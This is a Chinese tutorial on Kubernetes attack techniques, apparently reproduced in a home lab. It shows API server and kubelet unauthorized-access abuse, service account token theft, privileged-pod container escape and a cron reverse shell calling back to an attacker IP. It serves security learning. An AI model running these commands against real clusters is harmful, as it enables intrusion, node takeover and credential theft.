Kubernetes云原生安全渗透学习

前言

Kubernetes简称k8s,是当前主流的容器调度平台,被称为云原生时代的操作系统。在实际项目也经常发现厂商部署了使用k8s进行管理的云原生架构环境,在目前全面上云的趋势,有必要学习在k8s环境的下的一些攻击手法,本文非常适合刚入门或者准备学习云安全方向的安全人员,每个步骤都是亲手复现整理。文中如有错误的地方,还望各位大佬在评论区指正。

Kubernetes用户管理

Kubernetes 集群中包含两类用户:一类是由 Kubernetes管理的service account,另一类是普通用户。

  • service account 是由 Kubernetes API管理的账户。它们都绑定到了特定的 namespace,并由 API server 自动创建,或者通过 API 调用手动创建。Service account 关联了一套凭证,存储在 Secret,这些凭证同时被挂载到 pod 中,从而允许 pod 与 kubernetes API 之间的调用。
  • Use Account(用户账号):一般是指由独立于Kubernetes之外的其他服务管理的用 户账号,例如由管理员分发的密钥、Keystone一类的用户存储(账号库)、甚至是包 含有用户名和密码列表的文件等。Kubernetes中不存在表示此类用户账号的对象, 因此不能被直接添加进 Kubernetes 系统中 。

k8s访问控制过程

k8s 中所有的 api 请求都要通过一个 gateway 也就是 apiserver 组件来实现,是集群唯一的访问入口。 主要实现的功能就是api 的认证 + 鉴权以及准入控制。

三种机制:

  • 认证:Authentication,即身份认证。检查用户是否为合法用户,如客户端证书、密码、bootstrap tookens和JWT tokens等方式。
  • 鉴权:Authorization,即权限判断。判断该用户是否具有该操作的权限,k8s 中支持 Node、RBAC(Role-Based Access Control)、ABAC、webhook等机制,RBAC 为主流方式
  • 准入控制:Admission Control。请求的最后一个步骤,一般用于拓展功能,如检查 pod 的resource是否配置,yaml配置的安全是否合规等。一般使用admission webhooks来实现

注意:认证授权过程只存在HTTPS形式的API中。也就是说,如果客户端使用HTTP连接到kube-apiserver,是不会进行认证授权

Kubernetes 认证

客户端证书认证

客户端证书认证:X509 是一种数字证书的格式标准,是 kubernetes 中默认开启使用最多的一种,也是最安全的一种。api-server 启动时会指定 ca 证书以及 ca 私钥,只要是通过同一个 ca 签发的客户端 x509 证书,则认为是可信的客户端,kubeadm 安装集群时就是基于证书的认证方式。

user 生成 kubeconfig就是X509 client certs方式。

Service Account Tokens

因为基于x509的认证方式相对比较复杂,不适用于k8s集群内部pod的管理。Service Account Tokens是 service account 使用的认证方式。定义一个 pod 应该拥有什么权限。

service account 主要包含了三个内容:namespace、token 和 ca

  • namespace: 指定了 pod 所在的 namespace
  • token: token 用作身份验证
  • ca: ca 用于验证 apiserver 的证书

Kubernetes 鉴权

K8S 目前支持了如下四种授权机制:

  • Node
  • ABAC
  • RBAC
  • Webhook

具体到授权模式其实有六种:

  • 基于属性的访问控制(ABAC)模式允许你 使用本地文件配置策略。
  • 基于角色的访问控制(RBAC)模式允许你使用 Kubernetes API 创建和存储策略。
  • WebHook 是一种 HTTP 回调模式,允许你使用远程 REST 端点管理鉴权。
  • node节点鉴权是一种特殊用途的鉴权模式,专门对 kubelet 发出的 API 请求执行鉴权。
  • AlwaysDeny阻止所有请求。仅将此标志用于测试。
  • AlwaysAllow允许所有请求。仅在你不需要 API 请求 的鉴权时才使用此标志。

可以选择多个鉴权模块。模块按顺序检查,以便较靠前的模块具有更高的优先级来允许 或拒绝请求。

从1.6版本起,Kubernetes 默认启用RBAC访问控制策略。从1.8开始,RBAC已作为稳定的功能。

想了解更多RBAC的内容可以参考:使用 RBAC 鉴权 | Kubernetes

实验环境

  • 3台vm,每台至少2g。
  • OS: CentOS 7.9
  • kubernetes:v1.23

Ansible自动化部署K8S集群 或其他安装方法

一个集群包含三个节点,其中包括一个控制节点和两个工作节点

主机名角色IP安装软件
k8s-master.boysec.cn代理节点10.1.1.100etcd、kueblet、kube-porxy、kube-apiserver、kube-controller-manager、kube-scheduler、Containerd
k8s-node01.boysec.cn运算节点10.1.1.120etcd、kueblet、kube-porxy、Containerd
k8s-node02.boysec.cn运算节点10.1.1.130etcd、kueblet、kube-porxy、Containerd
hacker攻击主机10.1.1.11kueblet

k8s环境中的信息收集

信息收集与我们的攻击场景或者说进入的内网的起点分不开。一般来说内网不会完全基于容器技术进行构建。所以起点一般可以分为权限受限的容器和物理主机内网。

在K8s内部集群网络主要依靠网络插件,目前使用比较多的主要是Flannel和Calico

主要存在4种类型的通信:

  • 同一Pod内的容器间通信
  • 各Pod彼此间通信
  • Pod与Service间的通信
  • 集群外部的流量与Service间的通信

当我们起点是一个在k8s集群内部权限受限的容器时,和常规内网渗透区别不大,上传端口扫描工具探测即可。

在k8s环境中,内网探测可以高度关注的端口:

1
2
3
4
5
6
7
8
9
10
kube-apiserver: 6443, 8080
kubectl proxy: 8080, 8081
kubelet: 10250, 10255, 4149
docker api: 2375
etcd: 2379, 2380
kube-controller-manager: 10252
kube-proxy: 10256, 31442
kube-scheduler: 10251
weave: 6781, 6782, 6783
kubeflow-dashboard: 8080

配置不当引发的组件安全问题

API Server未授权访问

如未将system:anonymous用户绑定到cluster-admin用户组,从而使6443端口的利用要通过API Server的鉴权,直接访问会提示匿名用户鉴权失败:

鉴权失败

运维人员配置不当,将system:anonymous用户绑定到cluster-admin用户组,从而使6443 端口允许匿名用户以管理员权限向集群内部下发指令。

1
kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous

再次访问:

攻击方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
# 查看default名称空间的Pod GET
https://10.1.1.100:6443/api/v1/namespaces/default/pods?limit=10

# 创建特权容器,POST
curl -k -H 'Content-Type: application/json' -X POST https://10.1.1.100:6443/api/v1/namespaces/default/pods -d '{
"apiVersion": "v1",
"kind": "Pod",
"metadata": {
"annotations": {
"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\": {},\"name\":\"test\",\"namespace\":\"default\"},\"spec\":{\"containers\": [{\"image\":\"nginx\",\"name\":\"test\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\": {\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"
},
"name": "test",
"namespace": "default"
},
"spec": {
"containers": [
{
"image": "nginx",
"name": "test",
"volumeMounts": [
{
"mountPath": "/host",
"name": "host"
}
]
}
],
"volumes": [
{
"hostPath": {
"path": "/",
"type": "Directory"
},
"name": "host"
}
]
}
}'


## 执行命令,GET 第三条执行命令的时候我出现了"Upgrade request required"(400)
## 此处行不通
curl -k -H "Upgrade: websocket" 'https://10.1.1.100:6443/api/v1/namespaces/default/pods/test/exec?stdout=1&stderr=1&tty=true&command=whoami'

{
"kind": "Status",
"apiVersion": "v1",
"metadata": {},
"status": "Failure",
"message": "Upgrade request required",
"reason": "BadRequest",
"code": 400
}

解决问题
经过查询发现:现在可惜也不行了/(ㄒoㄒ)/~~
对于websocket连接,首先进行http(s)调用,然后是使用HTTP Upgrade标头对websocket的升级请求。
curl/Postman不支持从http升级到websocket。因此错误。
解决办法就是用wscat工具发送包:npm install -g wscat
不过这里还是没解决这个问题,

尝试新的方法:

1
2
kubectl --insecure-skip-tls-verify -s https://10.1.1.100:6443 get pods
## 这里虽然会让你输入账号和密码,但是随便输入之后,还是会显示pods,那么我通过POST创建pods,然后我在用这里连上去,然后chroot去获取宿主机权限。

采用CDK攻击

CDK(Container DucK)是一款为容器环境定制的渗透测试工具,在已攻陷的容器内部提供零依赖的常用命令及PoC/EXP。集成Docker/K8s场景特有的 逃逸、横向移动、持久化利用方式,插件化管理。

项目地址:https://github.com/cdk-team/CDK/

1
2
3
4
# 利用cdk工具通过"system:anonymous"匿名账号尝试登录
./cdk_linux_amd64 kcurl anonymous get "https://10.1.1.100:6443/api/v1/nodes"

./cdk_linux_amd64 kcurl anonymous post 'https://10.1.1.100:6443/api/v1/nodes'

Kubelet 未授权访问

Kubelet API 一般监听在2个端口:10250、10255。其中,10250端口是可读写的,10255是一个只读端口。

最常见的未授权访问一般是10255端口,但这个端口的利用价值偏低,只能读取到一些基本信息。

  • Kubelet 是节点代理(Api 默认端口 10250),运行在集群的每个节点上,负责向 API Server 注册所在的节点。目前在k8s默认的安全配置下,Kubelet API是需要安全认证的。
  • Kubelet 的配置文件是 /opt/kubernetes/cfg/kubelet-config.yml
  • kubelet 是真正去运行 Pod 的组件,可以通过调用 API 来改变集群状态。例如启动和停止 Pod

既然 Kubelet 这么重要,那么如果存在未授权访问的问题,攻击者就可以向某个节点的 Kubelet 下发命令从而控制当前的所有的 Pod 有可能进一步控制整个集群。

复现步骤

  • 可以直接控制该node下的所有pod
  • 检索寻找特权容器,获取 Token
  • 如果能够从pod获取高权限的token,则可以直接接管集群。

通过ansible脚本安装的访问 https://10.1.1..100:10250/pods 地址会显示没有权限

未修改前

修改配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
vim /opt/kubernetes/cfg/kubelet-config.yml 
kind: KubeletConfiguration
apiVersion: kubelet.config.k8s.io/v1beta1
address: 0.0.0.0
port: 10250
readOnlyPort: 10255
cgroupDriver: cgroupfs
clusterDNS:
- 192.168.0.2
clusterDomain: cluster.local
failSwapOn: false
authentication:
anonymous:
enabled: true # 将此次false改为ture;

# 重启服务
systemctl restart kubelet

修改后

攻击方法

命令执行

可通过如下请求对指定 pod 进行利用

1
2
3
4
curl -XPOST -k https://IP:10250/run/<NameSpace>/<PodName>/<appName> -d "cmd=id"

curl -XPOST -k https://10.1.1.100:10250/run/kube-system/traefik-v2-7ff6d874bf-mxzpl/traefik-v2 -d "cmd=id"
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

凭证窃取

一个 pod 与一个服务账户相关联,该服务账户的凭证(token)被放入该pod中每个容器的文件系统树,在 /var/run/secrets/kubernetes.io/serviceaccount/token

如果服务账号(Service account )绑定了 cluster-admin (即集群的 admin 权限我们可以对所有namespace下实例进行操作) ,那么我们就可以通过 token 来进行一系列的操作

1
2
3
4
5
6
7
8
## 获取whoami
curl -XPOST -k https://10.1.1.100:10250/run/kube-system/traefik-v2-7ff6d874bf-mxzpl/traefik-v2 -d "cmd=whoami"
root

## 获取token
curl -XPOST -k https://10.1.1.100:10250/run/default/testwithsa-664464c6cb-t22k4/amdinbox -d "cmd=cat /run/secrets/kubernetes.io/serviceaccount/token"
eyJhbGciOiJSUzI1NiIsImtpZCI6Imp0RmpXQmlsczQwNFNZY1VDeXU3eXVOdWdlTENPT3ZmWnIyY1p4VWVBYUUifQ.eyJhdWQiOlsiaHR0c
......

如果挂载到集群内的token具有创建pod的权限,可以通过token访问集群的api创建特权容器,然后通过特权容器逃逸到宿主机,从而拥有集群节点的权限

1
2
3
4
5
[root@hacker ~]# kubectl --insecure-skip-tls-verify=true --server="https://10.1.1.100:6443" --token="eyJhbGci......" get pod
NAME READY STATUS RESTARTS AGE
testwithsa-664464c6cb-g68nq 1/1 Running 0 96s
testwithsa-664464c6cb-l49gq 1/1 Running 0 96s
testwithsa-664464c6cb-t22k4 1/1 Running 0 96s

容器逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
[root@hacker ~]$ cat > taoyi.yaml <<EOF
apiVersion: v1
kind: Pod
metadata:
name: test
labels:
app: test
spec:
containers:
- name: test
image: busybox
command: ["chroot", "/mnt"]
tty: true
stdin: true
stdinOnce: true
securityContext:
privileged: true
volumeMounts:
- name: root
mountPath: /mnt
volumes:
- name: root
hostPath:
path: /
EOF
## 创建特权pod
[root@hacker ~]$ kubectl --insecure-skip-tls-verify=true --server="https://10.1.1.100:6443" --token="eyJh......" apply -f taoyi.yaml

[root@hacker ~]$ kubectl --insecure-skip-tls-verify=true --server="https://10.1.1.100:6443" --token="eyJh......" get pod
NAME READY STATUS RESTARTS AGE
test 1/1 Running 0 2m1s

## 进入pod执行
echo '* * * * * bash -i >& /dev/tcp/10.1.1.11/12345 0>&1' >> /mnt/var/spool/cron/root

拿下node